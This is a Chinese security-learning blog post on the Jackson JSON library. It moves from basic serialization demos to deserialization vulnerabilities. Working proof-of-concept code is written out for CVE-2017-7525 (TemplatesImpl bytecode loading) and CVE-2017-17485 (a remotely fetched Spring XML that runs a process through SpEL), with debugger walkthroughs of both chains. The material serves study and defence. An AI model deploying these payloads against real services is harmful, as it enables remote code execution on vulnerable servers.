jackson 反序列化学习

news/2024/9/27 19:17:26

jackson 反序列化学习

jackson 介绍

Jackson 是一个用于处理 JSON 数据的开源 Java 库。Spring MVC 的默认 json 解析器便是 JacksonJackson 优点很多。 Jackson 所依赖的 jar 包较少,简单易用。与其他 Java 的 json 的框架 Gson 等相比, Jackson 解析大的 json 文件速度比较快;Jackson 运行时占用内存比较低,性能比较好;Jackson 有灵活的 API,可以很容易进行扩展和定制。

Java 领域,Jackson 已经成为处理 JSON 数据的事实标准库。它提供了丰富的功能,包括将 Java 对象转换为 JSON 字符串(序列化)以及将 JSON 字符串转换为 Java 对象(反序列化)。

Jackson主要由三个核心包组成:

  • jackson-databind:提供了通用的数据绑定功能(将Java对象与JSON数据相互转换)
  • jackson-core:提供了核心的低级JSON处理API(例如JsonParser和JsonGenerator)
  • jackson-annotations:提供了用于配置数据绑定的注解

jackson 依赖

<dependencies><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-databind</artifactId><version>2.9.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-core</artifactId><version>2.9.3</version></dependency><dependency><groupId>com.fasterxml.jackson.core</groupId><artifactId>jackson-annotations</artifactId><version>2.9.3</version></dependency>
</dependencies>

jackson 中的常用 API

ObjectMapper

Jackson 最常用的 API 就是基于"对象绑定" 的 ObjectMapper:

  • ObjectMapper可以从字符串,流或文件中解析JSON,并创建表示已解析的JSON的Java对象。 将JSON解析为Java对象也称为从JSON反序列化Java对象。
  • ObjectMapper也可以从Java对象创建JSON。 从Java对象生成JSON也称为将Java对象序列化为JSON。
  • Object映射器可以将JSON解析为自定义的类的对象,也可以解析置JSON树模型的对象。

之所以称为ObjectMapper是因为它将JSON映射到Java对象(反序列化),或者将Java对象映射到JSON(序列化)。

序列化:将Java对象转换为JSON字符串的过程。这在许多场景中非常有用,例如在将数据发送到Web客户端时,或者在将数据存储到文件或数据库时。Jackson通过ObjectMapper类来实现序列化。

demo:

package org.example;  import com.fasterxml.jackson.databind.ObjectMapper;  public class Main {  public String name;  public int age;  public Main(String name, int age) {  this.name = name;  this.age = age;  }  public static void main(String[] args) {  ObjectMapper objectMapper = new ObjectMapper();  Main person = new Main("gaoren", 35);  try {  String jsonString = objectMapper.writeValueAsString(person);  System.out.println(jsonString);  } catch (Exception e) {  e.printStackTrace();  }  }  
}

得到结果:

反序列化:将 JSON 字符串转换回Java对象的过程。这在从 Web 客户端接收数据或从文件或数据库读取数据时非常有用。同样,Jackson 使用 ObjectMapper 类来实现反序列化。

demo:

package org.example;  import com.fasterxml.jackson.databind.ObjectMapper;  public class deser {  public String name;  public int age;  public deser() {  }  public static void main(String[] args) {  ObjectMapper objectMapper = new ObjectMapper();  String jsonString = "{\"name\":\"gaoren\",\"age\":35}";  try {  deser person = objectMapper.readValue(jsonString, deser.class);  System.out.println("Name: " + person.name + ", Age: " + person.age);  } catch (Exception e) {  e.printStackTrace();  }  }  
}

结果:

JsonParser

Jackson JsonParser类是一个底层一些的JSON解析器。 它类似于XML的Java StAX解析器,差别是JsonParser解析JSON而不解析XML。Jackson JsonParser的运行层级低于Jackson ObjectMapper。 这使得JsonParser比ObjectMapper更快,但使用起来也比较麻烦。

使用JsonParser需要先创建一个JsonFactory

package org.example;  import com.fasterxml.jackson.core.JsonFactory;  
import com.fasterxml.jackson.core.JsonParser;  
import com.fasterxml.jackson.core.JsonToken;  public class deser {  public static void main(String[] args){  String json = "{\"name\":\"fakes0u1\",\"age\":123}";  JsonFactory jsonFactory = new JsonFactory();  try {  JsonParser parser = jsonFactory.createParser(json);  System.out.println(parser);  }  catch (Exception e ){  e.printStackTrace();  }  }  
}  
class Person1 {  private String name;  private int age;  public Person1() {  }  public String getName() {  return name;  }  public void setName(String name) {  this.name = name;  }  public int getAge() {  return age;  }  public void setAge(int age) {  this.age = age;  }  
}

运行得到:

一旦创建了Jackson JsonParser,就可以使用它来解析JSON。 JsonParser的工作方式是将JSON分解为一系列令牌,可以一个一个地迭代令牌。

使用JsonParser的nextToken()获得一个JsonToken,然后循环打印看看所有的 jsonToken,在得到 parser 后添加下面代码

while(!parser.isClosed()){  JsonToken jsonToken = parser.nextToken();  System.out.println(jsonToken);

运行得到

然后再利用equals方法进行匹配,如果标记的字段名称是相同的就返回其值

返回值可以用 getValueAsString()getValueAsInt() 等方法,根据不同的值的类型

package jackson;import com.fasterxml.jackson.core.JsonFactory;
import com.fasterxml.jackson.core.JsonParser;
import com.fasterxml.jackson.core.JsonToken;public class JacksonJsonParser {public static void main(String[] args){String json = "{\"name\":\"fakes0u1\",\"age\":123}";JsonFactory jsonFactory = new JsonFactory();Person1 person1 =new Person1();try{JsonParser parser = jsonFactory.createParser(json);while(!parser.isClosed()){JsonToken jsonToken = parser.nextToken();if (JsonToken.FIELD_NAME.equals(jsonToken)){String fieldName = parser.getCurrentName();System.out.println(fieldName);jsonToken=parser.nextToken();if ("name".equals(fieldName)){person1.name = parser.getValueAsString();}else if ("age".equals(fieldName)){person1.age = parser.getValueAsInt();}}System.out.println("person's name is "+person1.name);System.out.println("person's age is "+person1.age);}}catch (Exception e ){e.printStackTrace();}}
}
class Person1 {public  String name;public  int age;// 必须提供无参构造函数public Person1() {}// Getters and Setterspublic String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}

JsonGenerator

Jackson JsonGenerator用于从Java对象(或代码从中生成JSON的任何数据结构)生成JSON。

同样的 使用JsonGenerator也需要先创建一个JsonFactory 从其中使用createGenerator() 来创建一个JsonGenerator

package jackson;import com.fasterxml.jackson.core.*;import java.io.File;public class JacksonJsonParser {public static void main(String[] args){JsonFactory jsonFactory = new JsonFactory();Person1 person1 =new Person1();try{JsonGenerator jsonGenerator = jsonFactory.createGenerator(new File("output.json"), JsonEncoding.UTF8);jsonGenerator.writeStartObject();jsonGenerator.writeStringField("name","fakes0u1");jsonGenerator.writeNumberField("age",123);jsonGenerator.writeEndObject();jsonGenerator.close();}catch (Exception e ){e.printStackTrace();}}
}class Person1 {public  String name;public  int age;// 必须提供无参构造函数public Person1() {}// Getters and Setterspublic String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}
}

jackson 反序列化流程分析

Jackson的反序列化的过程分为两步 第一步通过构造函数生成实例 第二步是对实例进行设置属性值

调试跟进来到函数_readMapAndClose

调用了 BeanDeserializer#deserialize 方法,

继续跟进 vanillaDeserialize 函数,

跟踪 createUsingDefault 函数,


看到调用 call 方法实现了无参构造函数。返回的 bean 就是实例化后的对象。

然接下来就是进行赋值了。

跟进 deserializeAndSet 方法,

看到在 set 处进行了赋值。剩下的其实都差多的,只是类型不同赋值方法略有差别。

Jackson 反序列化漏洞

前提条件

满足以下三个条件之一存在Jackson反序列化漏洞,需要会触发json中的类解析的注解或者函数

  • 调用了ObjectMapper.enableDefaultTyping()函数;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.CLASS的@JsonTypeInfo注解;
  • 对要进行反序列化的类的属性使用了值为JsonTypeInfo.Id.MINIMAL_CLASS的@JsonTypeInfo注解;

漏洞原理

当我们使用的JacksonPolymorphicDeserialization配置有问题的时候 Jackson反序列化会调用属性所属类的构造函数和setter方法 我们就可以在这里做文章

以要进行反序列化的类的属性是否为Object类分为两种:

一、属性中没有Object类时

我们不能对属性进行操作。我们只能让他的构造函数或者是setter方法中存在危险函数如下

public void setName(String name) {  this.name = name;  try{  Runtime.getRuntime().exec("calc");  }  catch (Exception e ){  e.printStackTrace();  }  
}

进行反序列弹出计算机

二、属性中有Object类时

当属性类型为Object时,因为Object类型是任意类型的父类,因此扩大了我们的攻击面,我们只需要寻找出在目标服务端环境中存在的且构造函数或setter方法存在漏洞代码的类即可进行攻击利用。

后面出现的Jackson反序列化的CVE漏洞、黑名单绕过等都是基于这个原理寻找各种符合条件的利用链而已。

这里我们假设目标服务端环境中存在其一个恶意类Evil,其setter方法存在任意代码执行漏洞,存在于 org.example包中:

package org.example;  public class Evil {  public String cmd;  public void setCmd(String cmd) {  this.cmd = cmd;  try {  Runtime.getRuntime().exec("calc");  }  catch (Exception e){  e.printStackTrace();  }  }  
}

Person类,将sex属性改为object属性:

public class Person {  public int age;  public String name;  
//   @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)  public Object object;  public Person() {  System.out.println("Person构造函数");  }  @Override  public String toString() {  return String.format("Person.age=%d, Person.name=%s, %s", age, name, object == null ? "null" : object);  }  
}

test.java

public class test {  public static void main(String[] args) throws Exception {  ObjectMapper mapper = new ObjectMapper();  mapper.enableDefaultTyping();  String json = "{\"age\":6,\"name\":\"mi1k7ea\",\"object\":[\"org.example.Evil\",{\"cmd\":\"calc\"}]}";  Person p2 = mapper.readValue(json, Person.class);  System.out.println(p2);  }  
}

运行同理弹出计算机

CVE-2017-7525 TemplatesImpl利用链

影响版本

Jackson 2.6系列 < 2.6.7.1

Jackson 2.7系列 < 2.7.9.1

Jackson 2.8系列 < 2.8.8.1

JDK使用1.7版本的,记得恶意类也得用 1.7 版本的编译。

复现利用

依赖:

<dependency>  <groupId>com.fasterxml.jackson.core</groupId>  <artifactId>jackson-databind</artifactId>  <version>2.7.9</version>  
</dependency>  
<dependency>  <groupId>com.fasterxml.jackson.core</groupId>  <artifactId>jackson-core</artifactId>  <version>2.7.9</version>  
</dependency>  
<dependency>  <groupId>com.fasterxml.jackson.core</groupId>  <artifactId>jackson-annotations</artifactId>  <version>2.7.9</version>  
</dependency>

poc.java

package org.example;  import com.fasterxml.jackson.databind.ObjectMapper;  
import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;  
import org.springframework.util.FileCopyUtils;  
import java.io.ByteArrayOutputStream;  
import java.io.File;  
import java.io.FileInputStream;  
import java.io.IOException;  
import java.nio.file.Files;  
import java.nio.file.Paths;  public class Main {  public static void main(String[] args)throws IOException {  String exp = readClassStr("D:/poc.class");  String jsonInput = aposToQuotes("{\"object\":['com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl',\n" +  "{\n" +  "'transletBytecodes':['"+exp+"'],\n" +  "'transletName':'mi1k7ea',\n" +  "'outputProperties':{}\n" +  "}\n" +  "]\n" +  "}");  System.out.printf(jsonInput);  ObjectMapper mapper = new ObjectMapper();  mapper.enableDefaultTyping();  try {  mapper.readValue(jsonInput, Person.class);  } catch (Exception e) {  e.printStackTrace();  }  }  public static String aposToQuotes(String json){  return json.replace("'","\"");  }  public static String readClassStr(String cls){  ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  try {  FileCopyUtils.copy(new FileInputStream(new File(cls)),byteArrayOutputStream);  } catch (IOException e) {  e.printStackTrace();  }  return Base64.encode(byteArrayOutputStream.toByteArray());  }  }  class Person {  public Object object;  
}

序列化的内容需要自己构造,直接序列化只会得到有 setter 和 getter 方法的属性

运行弹出计算机

调试分析

前面就和上面的反序列化流程一样通过 BeanDeserializer.vanillaDeserialize() 来实例化一个 bean 对象,也就是上面的 Person 对象,然后利用 deserializeAndSet() 函数来解析属性值并设置到该Bean 中。在deserializeAndSet()函数中,会反射调用属性的setter方法来设置属性值,

但是outputProperties属性在deserializeAndSet()函数中是通过反射机制调用它的getter方法,这就是该利用链能被成功触发的原因,虽然Jackson的反序列化机制只是调用setter方法,但是是调用SetterlessProperty.deserializeAndSet()来解析outputProperties属性而前面两个属性是调用的MethodProperty.deserializeAndSet()解析的,其中SetterlessProperty.deserializeAndSet()函数中是调用属性的getter方法而非setter方法

再往下就是反射调用到了getOutputProperties()。然后剩下的就是 java 的动态类加载了,利用链:getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->恶意类构造函数。

高版本JDK不能触发的原因——_tfactory

在大版本下,JDK1.7和1.8中,com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类是有所不同的。区别在于新建TransletClassLoader类实例的代码,其中调用了 _factory 属性,但是该属性值我们没有在PoC中设置,默认为null,于是就会抛出异常了。Jackson不支持在序列化的TemplatesImpl类的内容上添加并解析_tfactory属性,所以也就没法进行反序列化了。

至于为什么jackson-databind-2.7.9.1 或者更高的版本不能触发是因为,在调用BeanDeserializerFactory.createBeanDeserializer()函数创建Bean反序列化器的时候,其中会调用checkIllegalTypes()函数提取当前类名,然后使用黑名单进行过滤:

static {  Set<String> s = new HashSet<String>();  // Courtesy of [https://github.com/kantega/notsoserial]:  // (and wrt [databind#1599]  s.add("org.apache.commons.collections.functors.InvokerTransformer");  s.add("org.apache.commons.collections.functors.InstantiateTransformer");  s.add("org.apache.commons.collections4.functors.InvokerTransformer");  s.add("org.apache.commons.collections4.functors.InstantiateTransformer");  s.add("org.codehaus.groovy.runtime.ConvertedClosure");  s.add("org.codehaus.groovy.runtime.MethodClosure");  s.add("org.springframework.beans.factory.ObjectFactory");  s.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");  DEFAULT_NO_DESER_CLASS_NAMES = Collections.unmodifiableSet(s);  
}

实际调试的时候回调用两次BeanDeserializerFactory.createBeanDeserializer()->checkIllegalTypes(),第一次由于是 Person 类,因此不会被过滤;第二次是TemplatesImpl类,由于其在黑名单中,因此被过滤了。

CVE-2017-17485 ClassPathXmlApplicationContext利用链

影响版本

Jackson 2.7系列 < 2.7.9.2

Jackson 2.8系列 < 2.8.11

Jackson 2.9系列 < 2.9.4

复现利用

jackson 依赖和上面还是一样的,spring 依赖:

    <dependency>  <groupId>org.springframework</groupId>  <artifactId>spring-beans</artifactId>  <version>5.0.2.RELEASE</version>  </dependency>  <dependency>  <groupId>org.springframework</groupId>  <artifactId>spring-context</artifactId>  <version>5.0.2.RELEASE</version>  </dependency>  <dependency>  <groupId>org.springframework</groupId>  <artifactId>spring-core</artifactId>  <version>5.0.2.RELEASE</version>  </dependency>  <dependency>  <groupId>org.springframework</groupId>  <artifactId>spring-expression</artifactId>  <version>5.0.2.RELEASE</version>  </dependency>  <dependency>  <groupId>commons-logging</groupId>  <artifactId>commons-logging</artifactId>  <version>1.2</version>  

poc.java

package org.example;  import com.fasterxml.jackson.databind.ObjectMapper;  import java.io.IOException;  public class poc {  public static void main(String[] args)  {   String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", \"http://127.0.0.1/spel.xml\"]";  ObjectMapper mapper = new ObjectMapper();  mapper.enableDefaultTyping();  try {  mapper.readValue(payload, Object.class);  } catch (IOException e) {  e.printStackTrace();  }  }  
}

spel.xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg value="calc.exe" />
        <property name="whatever" value="#{ pb.start() }"/>
    </bean>
</beans>

运行弹出计算机

调试分析

利用链是基于org.springframework.context.support.ClassPathXmlApplicationContext类,利用的原理就是SpEL表达式注入漏洞,

一直跟进到 TypeWrappedDeserializer#deserialize 方法,调用了UntypedObjectDeserializer.deserializeWithType()

跟进该函数,发现回调用 AsArrayTypeDeserializer.deserializeTypedFromAny() 函数,该函数可以解析我们数组形式的 JSON 内容。

一路调用到了 BeanDeserializerBase.deserializeFromString 函数来反序列化字符串内容,它会返回一个调用createFromString()函数从字符串中创建的实例对象:

跟进 createFromString() 方法,

看到value值为 http://127.0.0.1/spel.xml,然后调用 _fromStringCreator.call1(value) 来解析配置文件。跟进

继续向下会调用到ClassPathXmlApplicationContext类的构造函数

然后调用 refresh 方法,

注意:前面调用newInstance()是新建我们的利用类org.springframework.context.support.ClassPathXmlApplicationContext的实例,但是我们看到并没有调用ClassPathXmlApplicationContext类相关的setter方法,这是因为该类本身就没有setter方法,但是拥有构造函数,因此Jackson反序列化的时候会自动调用ClassPathXmlApplicationContext类的构造函数。而这个点就是和之前的利用链的不同之处,该类的漏洞点出在自己的构造函数而非在setter方法中。

下面我们需要继续调试看ClassPathXmlApplicationContext类的构造函数中是哪里存在有漏洞。

跟进refresh()函数,进行一系列refresh之前的准备操作后,发现调用了 invokeBeanFactoryPostProcessors() 函数,顾名思义,就是调用上下文中注册为beans的工厂处理器:

一直跟进,到达 doGetBeanNamesForType() 函数中,调用isFactoryBean()判断当前beanName是否为FactoryBean

在isFactoryBean()函数中,调用predictBeanType()函数获取Bean类型,

继续跟进,predictBeanType()函数中通过调用determineTargetType()函数来预测Bean类型,

determineTargetType()函数中通过调用 resolveBeanClass() 函数来确定目标类型:

跟进调用doResolveBeanClass()用来解析Bean类,其中调用了evaluateBeanDefinitionString()函数来执行Bean定义的字符串内容,

跟进该函数,

看到已经到了SpEL表达式解析器,跟进后看到,再最下面执行了 SpEl 表达式执行。

总结就是通过反序列化调用到了 org.springframework.context.support.ClassPathXmlApplicationContext 的构造方法,构造方法中的 refresh 中又层层调用到了 SeEL 的表达式执行。

参考:Jackson系列一——反序列化漏洞基本原理
参考:Jackson系列二——CVE-2017-7525(基于TemplatesImpl利用链)
参考:Jackson系列三——CVE-2017-17485(基于ClassPathXmlApplicationContext利用链)
参考:https://xz.aliyun.com/t/12966

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/59707.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

LeetCode算法—递归

纵有疾风起;人生不言弃!一:递归 1、定义:函数直接或者间接的调用自己 2、四个要素 (1)接受的参数 (2)返回的值 (3)终止条件 (4)如何拆解 二:LeetCode 509 斐波那契数列 def func(n):if n<2:return nelse:return func(n-1)+func(n-2)n=int(input()) print(func(…

2024年9月最新Youtube转WAV高质量音频最新教程

​1.利用在线转换工具(最推荐的一种方式): YoutubeToWAV:打开浏览器,访问 https://www.youtubetowav.cc/的官方网站。在 YouTube 网站上找到您想要转换的视频,复制该视频的链接。回到网页,将复制的 YouTube 视频链接粘贴到指定的输入框中。点击Convert默认为audio标签的格…

[GDOUCTF 2023]ez_ze!

这题是一个jinja2的ssti模板注入,经过测试过滤了 _ {{}} . [] os popen getitem 输入{% print(lipsum|string|list) %}或者{% print(config|string|list) %}从这里面获取我们需要的字符 获取下划线和空格 {% set pop=dict(pop=1)|join %} {% set xia=(lipsum|string|list)|at…

java方法:什么是方法?

java方法是语句的集合,它们在一起执行一个功能:方法是解决一类问题的步骤的有序组合 方法包含于类或对象中 方法在程序中被创建,在其他地方被引用 例如:即 ______()是方法 设计方法的原则:方法的本意时功能块,就是实现某个功能块,就是实现某个功能的语句块的集合,所以…

pediatrics_llm_qa:儿科问诊小模型

项目简介 本项目开源了基于儿科医疗指令微调的问诊模型:pediatrics_llm_qa(GitHub - jiangnanboy/pediatrics_llm_qa),目前模型的主要功能如下:智能问诊:问诊后给出诊断结果和建议。更新[2024/09/11] 开源了基于Qwen2-1.5B-instruct lora指令微调的儿科问诊模型开源模型模型…

WPF 已知问题 包含 NaN 的 Geometry 几何可能导致渲染层抛出 UCEERR_RENDERTHREADFAILURE 异常

本文记录一个 WPF 已知问题,当传入到渲染的 Geometry 几何里面包含了 NaN 数值,将可能让应用程序收到从渲染层抛上来的 UCEERR_RENDERTHREADFAILURE 异常,且此异常缺乏必要信息,比较难定位到具体错误逻辑此问题是小伙伴报告给我的,详细请看 https://github.com/dotnet/wpf…

WPF 尝试使用 WinML 做一个简单的手写数字识别应用

最近我看了微软的 AI 训练营之后,似乎有点了解 Windows Machine Learning 和 DirectML 的概念,于是我尝试实践一下,用 WPF 写一个简单的触摸手写输入的画板,再使用大佬训练好的 mnist.onnx 模型,对接 WinML 实现一个简单的手写数字识别应用最近我看了微软的 AI 训练营之后…

VisualStudio 2022 找不到内存 反汇编 寄存器调试工具

本文将告诉大家如何解决在 VisualStudio 2022 的 调试-窗口 里面找不到内存、 反汇编、 寄存器这三个调试工具的问题找不到的原因是没有启用地址级调试 只需要在“工具”(或“调试”)>“选项”>“调试”中选择“启用地址级调试” 然后进行调试即可看到开启之后,即可在…